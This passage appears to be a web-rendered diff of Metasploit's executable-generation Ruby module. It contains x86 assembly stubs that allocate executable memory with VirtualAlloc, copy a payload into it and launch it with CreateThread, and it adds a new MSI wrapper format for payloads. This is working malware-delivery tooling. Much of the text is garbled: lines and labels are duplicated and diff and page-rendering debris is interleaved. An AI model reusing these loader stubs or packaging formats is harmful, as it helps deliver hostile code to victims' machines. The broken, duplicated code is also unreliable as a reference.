mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
|
||||
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
||||
jne goodbye ;
|
||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||
goodbye: ; We now perform the actual call to the exit function
|
||||
push byte 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; call EXITFUNK( 0 );
|
||||
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
|
||||
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
||||
jne goodbye ;
|
||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||
goodbye: ; We now perform the actual call to the exit function
|
||||
push byte 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; call EXITFUNK( 0 );
|
||||
^
|
||||
|
||||
stub_alloc = %Q^
|
||||
pushad ; Save registers
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
delta: ;
|
||||
pushad ; Save registers
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
delta: ;
|
||||
#{stub_block}
|
||||
start: ;
|
||||
pop ebp ; Pop off the address of 'api_call' for calling later.
|
||||
start: ;
|
||||
pop ebp ; Pop off the address of 'api_call' for calling later.
|
||||
|
||||
allocate_size:
|
||||
mov esi,PAYLOAD_SIZE
|
||||
|
||||
allocate:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; Push the length value of the wrapped code block
|
||||
push byte 0 ; NULL as we dont care where the allocation is.
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; Push the length value of the wrapped code block
|
||||
push byte 0 ; NULL as we dont care where the allocation is.
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
mov ebx, eax ; Store allocated address in ebx
|
||||
mov edi, eax ; Prepare EDI with the new address
|
||||
mov ecx, esi ; Prepare ECX with the length of the code
|
||||
mov ebx, eax ; Store allocated address in ebx
|
||||
mov edi, eax ; Prepare EDI with the new address
|
||||
mov ecx, esi ; Prepare ECX with the length of the code
|
||||
call get_payload
|
||||
got_payload:
|
||||
pop esi ; Prepare ESI with the source to copy
|
||||
rep movsb ; Copy the payload to RWX memory
|
||||
call set_handler ; Configure error handling
|
||||
pop esi ; Prepare ESI with the source to copy
|
||||
rep movsb ; Copy the payload to RWX memory
|
||||
call set_handler ; Configure error handling
|
||||
|
||||
exitblock:
|
||||
#{stub_exit}
|
||||
|
@ -1785,20 +1837,20 @@ End Sub
|
|||
xor eax,eax
|
||||
; push dword [fs:eax]
|
||||
; mov dword [fs:eax], esp
|
||||
push eax ; LPDWORD lpThreadId (NULL)
|
||||
push eax ; DWORD dwCreationFlags (0)
|
||||
push eax ; LPVOID lpParameter (NULL)
|
||||
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
|
||||
push eax ; SIZE_T dwStackSize (0 for default)
|
||||
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
|
||||
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
|
||||
call ebp ; Spawn payload thread
|
||||
push eax ; LPDWORD lpThreadId (NULL)
|
||||
push eax ; DWORD dwCreationFlags (0)
|
||||
push eax ; LPVOID lpParameter (NULL)
|
||||
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
|
||||
push eax ; SIZE_T dwStackSize (0 for default)
|
||||
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
|
||||
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
|
||||
call ebp ; Spawn payload thread
|
||||
|
||||
pop eax ; Skip
|
||||
; pop eax ; Skip
|
||||
pop eax ; Skip
|
||||
popad ; Get our registers back
|
||||
; sub esp, 44 ; Move stack pointer back past the handler
|
||||
pop eax ; Skip
|
||||
; pop eax ; Skip
|
||||
pop eax ; Skip
|
||||
popad ; Get our registers back
|
||||
; sub esp, 44 ; Move stack pointer back past the handler
|
||||
^
|
||||
|
||||
stub_final = %Q^
|
||||
|
@ -1813,7 +1865,7 @@ End Sub
|
|||
stub_alloc.gsub!('byte', '')
|
||||
|
||||
wrapper = ""
|
||||
# regs = %W{eax ebx ecx edx esi edi ebp}
|
||||
# regs = %W{eax ebx ecx edx esi edi ebp}
|
||||
|
||||
cnt_jmp = 0
|
||||
cnt_nop = 64
|
||||
|
@ -1896,6 +1948,15 @@ End Sub
|
|||
output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts)
|
||||
end
|
||||
|
||||
when 'msi'
|
||||
if (not arch or (arch.index(ARCH_X86)))
|
||||
output = Msf::Util::EXE.to_win32pe_msi(framework, code, exeopts)
|
||||
end
|
||||
|
||||
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
|
||||
output = Msf::Util::EXE.to_win64pe_msi(framework, code, exeopts)
|
||||
end
|
||||
|
||||
when 'elf'
|
||||
if (not plat or (plat.index(Msf::Module::Platform::Linux)))
|
||||
if (not arch or (arch.index(ARCH_X86)))
|
||||
|
@ -1960,7 +2021,7 @@ End Sub
|
|||
end
|
||||
|
||||
def self.to_executable_fmt_formats
|
||||
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
|
||||
['dll','exe','exe-small','msi','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
|
||||
end
|
||||
|
||||
#
|
||||
|
|
Loading…
Reference in New Issue